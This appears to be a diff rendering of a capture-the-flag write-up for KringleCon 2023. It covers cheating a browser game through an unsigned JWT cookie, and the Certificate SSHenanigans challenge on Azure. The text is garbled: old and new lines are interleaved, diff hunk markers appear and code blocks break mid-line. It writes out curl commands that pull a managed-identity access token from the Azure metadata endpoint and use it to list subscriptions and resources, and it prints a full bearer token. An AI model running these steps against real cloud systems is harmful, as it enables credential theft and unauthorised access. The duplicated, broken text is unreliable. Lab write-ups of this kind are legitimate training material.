</code></pre><p>This morse code decodes to <code>GL0RY</code>.</p><p>We can submit this in the objective section to mark this game volume complete!</p><p><img src=../../kringlecon/2023/elf-the-drawf-vol2-04.avif alt></p><h1 id=island-of-misfit-toys-squarewheel-yard>Island of Misfit Toys: Squarewheel Yard</h1><h2 id=luggage-lock>Luggage Lock</h2><p>As described in the talk <a href="https://www.youtube.com/watch?v=ycM1hBSEyog">https://www.youtube.com/watch?v=ycM1hBSEyog</a> by Chris Elgee, we apply pressure on the circular keyhole and keep rotating the dials and stopping at a potential digit when we feel resistance.
After a few tries, we get to unlock the luggage.</p><h1 id=pixel-island-rainraster-cliffs>Pixel Island: Rainraster Cliffs</h1><h2 id=elf-hunt>Elf Hunt</h2><p>Elf Hunt looks like a Duck Hunt clone where the elves are super fast and easy to miss.
We have a cookie called &ldquo;ElfHunt_JWT&rdquo; with the JWT value of &ldquo;eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.&rdquo; which decodes to the header</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
We have a cookie called &ldquo;ElfHunt_JWT&rdquo; with the JWT value of &ldquo;eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.&rdquo; which decodes to the header</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;alg&#34;</span>: <span style=color:#e6db74>&#34;none&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;typ&#34;</span>: <span style=color:#e6db74>&#34;JWT&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>and payload</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><p>and payload</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;speed&#34;</span>: <span style=color:#ae81ff>-500</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We could play the game by lowering the speed but there&rsquo;s an even easier way.</p><p>Looking at the first line of the update function in the loaded <code>script.js</code>,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>update</span>() {
</span></span></code></pre></div><p>We could play the game by lowering the speed but there&rsquo;s an even easier way.</p><p>Looking at the first line of the update function in the loaded <code>script.js</code>,</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#66d9ef>function</span> <span style=color:#a6e22e>update</span>() {
</span></span><span style=display:flex><span> <span style=color:#a6e22e>score</span> <span style=color:#f92672>&gt;=</span> <span style=color:#ae81ff>75</span> <span style=color:#f92672>&amp;&amp;</span> (<span style=color:#a6e22e>sessionJWT</span>.<span style=color:#a6e22e>w</span> <span style=color:#f92672>=</span> <span style=color:#f92672>!</span><span style=color:#ae81ff>0</span>, document.<span style=color:#a6e22e>cookie</span> <span style=color:#f92672>=</span> <span style=color:#e6db74>`</span><span style=color:#e6db74>${</span><span style=color:#a6e22e>sessionKeyName</span><span style=color:#e6db74>}</span><span style=color:#e6db74>=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.</span><span style=color:#e6db74>${</span><span style=color:#a6e22e>btoa</span>(<span style=color:#a6e22e>JSON</span>.<span style=color:#a6e22e>stringify</span>(<span style=color:#a6e22e>sessionJWT</span>))<span style=color:#e6db74>}</span><span style=color:#e6db74>.; path=/; secure; samesite=none;`</span>, <span style=color:#a6e22e>gameScene</span>.<span style=color:#a6e22e>scene</span>.<span style=color:#a6e22e>pause</span>(), window.<span style=color:#a6e22e>location</span>.<span style=color:#a6e22e>reload</span>())
</span></span><span style=display:flex><span> <span style=color:#75715e>// rest of the function
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>we notice that the moment the score is greater than or equal to 75, the <code>w</code> property of the sessionJWT is set to true, the document cookie is
updated, the game is paused and the window is refreshed. There is no apparent <code>if-else</code> condition here because the script uses some clever javascript
code using the <code>antecedent && consequent</code> pattern. Since the operands ANDed are lazily evaluated, we just need to set the score to 75 or above.</p><p>In devtools console, we simply add the following code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>speed</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>75</span>
</span></span></code></pre></div><p>That&rsquo;s how we win the game without even playing it.</p><h1 id=pixel-island-rainraster-cliffs-1>Pixel Island: Rainraster Cliffs</h1><h2 id=certificate-sshenanigans>Certificate SSHenanigans</h2><blockquote><p>Go to Pixel Island and review Alabaster Snowball&rsquo;s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?</p></blockquote><blockquote><p>Alabaster Snowball: Hello there! Alabaster Snowball at your service. I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org. ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea! It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver! I&rsquo;m a little wary though. I&rsquo;d appreciate it if you could take a peek and confirm everything&rsquo;s secure before I deploy this configuration to all the Geese Islands servers. Generate yourself a certificate and use the <em>monitor</em> account to access the host. See if you can grab my TODO list. If you haven&rsquo;t heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently. Oh, and if you need to peek at the Function App code, there&rsquo;s a handy <a href=https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-source-control>Azure REST API endpoint</a> which will give you details about how the Function App is deployed.</p></blockquote><p>The Azure Function App is located at <a href="https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl">https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl</a></p><p>Upon visiting this endpoint, we see a form that we can paste our SSH public key and request an SSH certificate.</p><p>Let&rsquo;s quickly generate an ephemeral keypair, we will leave it with no passphrase.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>ssh-keygen -t ed25519 -f me
code using the <code>antecedent && consequent</code> pattern. Since the operands ANDed are lazily evaluated, we just need to set the score to 75 or above.</p><p>In devtools console, we simply add the following code:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-js data-lang=js><span style=display:flex><span><span style=color:#a6e22e>speed</span> <span style=color:#f92672>=</span> <span style=color:#ae81ff>75</span>
</span></span></code></pre></div><p>That&rsquo;s how we win the game without even playing it.</p><h1 id=pixel-island-rainraster-cliffs-1>Pixel Island: Rainraster Cliffs</h1><h2 id=certificate-sshenanigans>Certificate SSHenanigans</h2><blockquote><p>Go to Pixel Island and review Alabaster Snowball&rsquo;s new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?</p></blockquote><blockquote><p>Alabaster Snowball: Hello there! Alabaster Snowball at your service. I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org. ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea! It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver! I&rsquo;m a little wary though. I&rsquo;d appreciate it if you could take a peek and confirm everything&rsquo;s secure before I deploy this configuration to all the Geese Islands servers. Generate yourself a certificate and use the <em>monitor</em> account to access the host. See if you can grab my TODO list. If you haven&rsquo;t heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently. Oh, and if you need to peek at the Function App code, there&rsquo;s a handy <a href=https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-source-control>Azure REST API endpoint</a> which will give you details about how the Function App is deployed.</p></blockquote><p>The Azure Function App is located at <a href="https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl">https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl</a></p><p>Upon visiting this endpoint, we see a form that we can paste our SSH public key and request an SSH certificate.</p><p>Let&rsquo;s quickly generate an ephemeral keypair, we will leave it with no passphrase.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>ssh-keygen -t ed25519 -f me
</span></span></code></pre></div><p>We need to paste the contents of the <code>me.pub</code> file that was generated into this form.
Since I am using wayland on linux, I will use the <code>wl-copy</code> command to copy the contents to my clipboard.
Feel free to manually copy the contents if you face problems.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>cat me.pub | wl-copy
</span></span></code></pre></div><p>After pasting and submitting our public key, we are provided with an SSH certificate with the principal of the &ldquo;elf&rdquo; account.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
Feel free to manually copy the contents if you face problems.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>cat me.pub | wl-copy
</span></span></code></pre></div><p>After pasting and submitting our public key, we are provided with an SSH certificate with the principal of the &ldquo;elf&rdquo; account.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;ssh_cert&#34;</span>: <span style=color:#e6db74>&#34;ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJzI0NjA2ODY4MTY1NTczMzk2OTU1NzAwNzk5NDgyMzI3Njg1MDMwNwAAACDXRNCQVIjIKl7bH5Wwg4lj+d0h2e6pqxkRSP7QS4zQ0AAAAAAAAAABAAAAAQAAACRmZWFjNDY3ZS02Yzg4LTRhZTEtOTg5Ni1kNTIzNDdmMTk0OGEAAAAHAAAAA2VsZgAAAABleT/GAAAAAGWeKvIAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEDParQsuPuDxzkKcj+SOLmvIlSdOwJ41h+42S+Q45jIxJEIzFNd9Fd0jVvM8Z8o0fJfdLwrreQpf04rtJi+SIEE &#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;principal&#34;</span>: <span style=color:#e6db74>&#34;elf&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>We will add the contents of the <code>ssh_cert</code> field into the certificate file for our key. Certificates associated with public keys generally have a suffix <code>-cert.pub</code> after the name of the private key.
In our case, since the name of the private key was <code>me</code>, we place the contents into <code>me-cert.pub</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJzI0NjA2ODY4MTY1NTczMzk2OTU1NzAwNzk5NDgyMzI3Njg1MDMwNwAAACDXRNCQVIjIKl7bH5Wwg4lj+d0h2e6pqxkRSP7QS4zQ0AAAAAAAAAABAAAAAQAAACRmZWFjNDY3ZS02Yzg4LTRhZTEtOTg5Ni1kNTIzNDdmMTk0OGEAAAAHAAAAA2VsZgAAAABleT/GAAAAAGWeKvIAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEDParQsuPuDxzkKcj+SOLmvIlSdOwJ41h+42S+Q45jIxJEIzFNd9Fd0jVvM8Z8o0fJfdLwrreQpf04rtJi+SIEE &gt; me-cert.pub
</span></span></code></pre></div><p>Now we need to add the certificate authority public key to our list of known hosts. To obtain it, we can use the <code>ssh-keyscan</code> command with the hostname and specifying the key type with the <code>-t</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>ssh-keyscan -t ed25519 ssh-server-vm.santaworkshopgeeseislands.org
In our case, since the name of the private key was <code>me</code>, we place the contents into <code>me-cert.pub</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo ssh-ed25519-cert-v01@openssh.com AAAAIHNzaC1lZDI1NTE5LWNlcnQtdjAxQG9wZW5zc2guY29tAAAAJzI0NjA2ODY4MTY1NTczMzk2OTU1NzAwNzk5NDgyMzI3Njg1MDMwNwAAACDXRNCQVIjIKl7bH5Wwg4lj+d0h2e6pqxkRSP7QS4zQ0AAAAAAAAAABAAAAAQAAACRmZWFjNDY3ZS02Yzg4LTRhZTEtOTg5Ni1kNTIzNDdmMTk0OGEAAAAHAAAAA2VsZgAAAABleT/GAAAAAGWeKvIAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEDParQsuPuDxzkKcj+SOLmvIlSdOwJ41h+42S+Q45jIxJEIzFNd9Fd0jVvM8Z8o0fJfdLwrreQpf04rtJi+SIEE &gt; me-cert.pub
</span></span></code></pre></div><p>Now we need to add the certificate authority public key to our list of known hosts. To obtain it, we can use the <code>ssh-keyscan</code> command with the hostname and specifying the key type with the <code>-t</code> flag.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>ssh-keyscan -t ed25519 ssh-server-vm.santaworkshopgeeseislands.org
</span></span></code></pre></div><p>This yields the following output with the public key on the second line.</p><pre tabindex=0><code># ssh-server-vm.santaworkshopgeeseislands.org:22 SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u1
ssh-server-vm.santaworkshopgeeseislands.org ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9fPils+4RwVMdU6RFrQnKLYLpIBO5CxNGLkdNxqR8w
</code></pre><p>We will add this line to our known hosts file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>echo ssh-server-vm.santaworkshopgeeseislands.org ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9fPils+4RwVMdU6RFrQnKLYLpIBO5CxNGLkdNxqR8w &gt;&gt; ~/.ssh/known_hosts
</code></pre><p>We will add this line to our known hosts file.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>echo ssh-server-vm.santaworkshopgeeseislands.org ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG9fPils+4RwVMdU6RFrQnKLYLpIBO5CxNGLkdNxqR8w &gt;&gt; ~/.ssh/known_hosts
</span></span></code></pre></div><p>Now that trust is set up using the certificate authority, we can remote into the server with our private key!
Since Alabaster Snowball instructed us to log into the machine as <em>monitor</em>, we will use that as the username.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>ssh -i me monitor@ssh-server-vm.santaworkshopgeeseislands.org
Since Alabaster Snowball instructed us to log into the machine as <em>monitor</em>, we will use that as the username.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>ssh -i me monitor@ssh-server-vm.santaworkshopgeeseislands.org
</span></span></code></pre></div><p>After logging in, we are greeted with a satellite tracking interface <code>SatTrackr</code> telling us about the current position, velocity and a bunch of other properties.
We can exit this interface by interrupting it with <code>ctrl</code> <code>c</code>.</p><p>Since our goal is to read Alabaster&rsquo;s notes, we have to login as them.</p><p>Sparkle Redberry from Rudolph&rsquo;s Rest Resort gave us the following hint:</p><blockquote><p>Azure CLI tools aren&rsquo;t always available, but if you&rsquo;re on an Azure VM you can always use the <a href=https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token>Azure REST API</a> instead.</p></blockquote><p>Let&rsquo;s try to acquire an access token from the IAM REST API as described in the documentation using the <code>curl</code> command.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>monitor@ssh-server-vm:~$ curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
We can exit this interface by interrupting it with <code>ctrl</code> <code>c</code>.</p><p>Since our goal is to read Alabaster&rsquo;s notes, we have to login as them.</p><p>Sparkle Redberry from Rudolph&rsquo;s Rest Resort gave us the following hint:</p><blockquote><p>Azure CLI tools aren&rsquo;t always available, but if you&rsquo;re on an Azure VM you can always use the <a href=https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token>Azure REST API</a> instead.</p></blockquote><p>Let&rsquo;s try to acquire an access token from the IAM REST API as described in the documentation using the <code>curl</code> command.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>monitor@ssh-server-vm:~$ curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;access_token&#34;</span>: <span style=color:#e6db74>&#34;eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDI0NDUzNzYsIm5iZiI6MTcwMjQ0NTM3NiwiZXhwIjoxNzAyNTMyMDc2LCJhaW8iOiJFMlZnWUpqeWZzTGNtVzkzblMxVkVMeGdNL2xOSEFBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiItQTJaTGVZSnMwdUNmU0ZaRlFvbEFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.jbNxFKqecImuEl5_RijHnkJs_gN71cbud5hJfiuxwiDVFLL96A0P-lXxtsKIdRUf0IOlDL7TUXRY1CXXe8G1ypjls1ANSZyhaC-4pqxN419ANHKasYqzlzvfQsGVz1sxWxR7XdoH2t65IiGB250_9ct4nuzK5MSSF0Nmtx83_VfLE7sRlColE3uArHpnlfbV7bpmLBZ3dGPd8GdTHsyQjaHwcYpeOkZ43oVcTO5iKoIK91jsEYbzgK6bZqT-gyOD_TqdDNEAGyZmKPDzFg585nDR87u8rSAjYny90-8x0byKUlbvzAevFSn8z8pyXNJ9mAlXfe3M49PQ2cjmhkHP9Q&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;client_id&#34;</span>: <span style=color:#e6db74>&#34;b84e06d3-aba1-4bcc-9626-2e0d76cba2ce&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;expires_in&#34;</span>: <span style=color:#e6db74>&#34;83957&#34;</span>,
@@ -534,11 +534,11 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;resource&#34;</span>: <span style=color:#e6db74>&#34;https://management.azure.com/&#34;</span>,
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;token_type&#34;</span>: <span style=color:#e6db74>&#34;Bearer&#34;</span>
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Let&rsquo;s save this access token to an environment variable so that we can use it for subsequent requests. Since we have to use the token in the <em>Authorization</em>, we set another environment variable to the header value itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
</span></span></code></pre></div><p>Let&rsquo;s save this access token to an environment variable so that we can use it for subsequent requests. Since we have to use the token in the <em>Authorization</em>, we set another environment variable to the header value itself.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>TOKEN<span style=color:#f92672>=</span><span style=color:#66d9ef>$(</span>curl --http1.1 <span style=color:#e6db74>&#39;http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&amp;resource=https://management.azure.com/&#39;</span> --header <span style=color:#e6db74>&#34;Metadata: true&#34;</span> | jq -r .access_token<span style=color:#66d9ef>)</span>
</span></span><span style=display:flex><span>HEADER<span style=color:#f92672>=</span><span style=color:#e6db74>&#34;Authorization: Bearer </span>$TOKEN<span style=color:#e6db74>&#34;</span>
</span></span></code></pre></div><p>Let&rsquo;s now retrieve the subscriptions and resources.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></code></pre></div><p>Let&rsquo;s now retrieve the subscriptions and resources.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions?api-version<span style=color:#f92672>=</span>2022-12-01
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: [
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;id&#34;</span>: <span style=color:#e6db74>&#34;/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64&#34;</span>,
@@ -564,9 +564,9 @@ We can exit this interface by interrupting it with <code>ctrl</code> <code>c</co
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: <span style=color:#ae81ff>1</span>
</span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Now that we have the subscription ID <code>2b0942f3-9bca-484b-a508-abdae2db5e64</code>, we can use this to further drill down the resource ID.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></code></pre></div><p>Now that we have the subscription ID <code>2b0942f3-9bca-484b-a508-abdae2db5e64</code>, we can use this to further drill down the resource ID.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-sh data-lang=sh><span style=display:flex><span>curl --header <span style=color:#e6db74>&#34;</span>$HEADER<span style=color:#e6db74>&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span>https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version<span style=color:#f92672>=</span>2021-04-01
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-json data-lang=json><span style=display:flex><span>{
</span></span><span style=display:flex><span> <span style=color:#f92672>&#34;value&#34;</span>: [
</span></span><span style=display:flex><span> {
